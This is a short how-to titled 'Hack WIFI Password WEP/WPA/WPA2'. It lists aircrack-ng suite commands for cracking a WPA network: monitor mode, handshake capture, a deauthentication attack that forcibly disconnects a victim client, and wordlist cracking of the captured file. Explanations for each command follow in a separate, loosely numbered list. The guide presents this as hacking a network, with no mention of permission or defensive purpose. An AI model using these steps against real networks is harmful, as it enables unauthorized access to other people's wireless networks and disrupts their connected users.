Hack WIFI Password WEP/WPA/WPA2

Howto crack a WPA network in ubuntu with a wordlist using the aircrack suite. The basic steps are

  • airmon-ng start wlan0
  • iwconfig
  • airodump-ng mon0
  • Hit control + C on my Keyboard
  • airodump-ng -c 6 -w output --bssid 00:11:22:33:44:55 mon0 - open another terminal
  • aireplay-ng -0 1 -a 00:11:22:33:44:55 -c 00:22:44:66:88:10 mon0
  • aircrack-ng -w /home/youruser/wordlist.txt -b 00:11:22:33:44:55 output*.cap
  • This Puts my card into Monitor mode...my particular driver creats another interface called mon0...so i have to use this from now on.
  • Just to check to see that wlan0 is on managed mode and mon0 is on Monitor mode.
  • Starts airodump to view networks...provides necessary info...channel #, mac addy, essid, etc.
  • This stops airodump so we can restart it with the info we need
  • Starts airodump for the network were interested in...the data column should increase for this to work.
  • this step isnt necessary if your on a fairly active network with people connecting frequently...because for wpa you need to capture someone logging into the network...so this command sends a de-authorization request to a client connected so it forces them to reconnect so you can sniff out the handshake. -0 1 is the nuber of de-auth requests...increse the 1 if you need more. -c is a client on the network which you can find from the bottom of the previous terminal for step 5. 7) Starts the aircrack using the wordlist you have
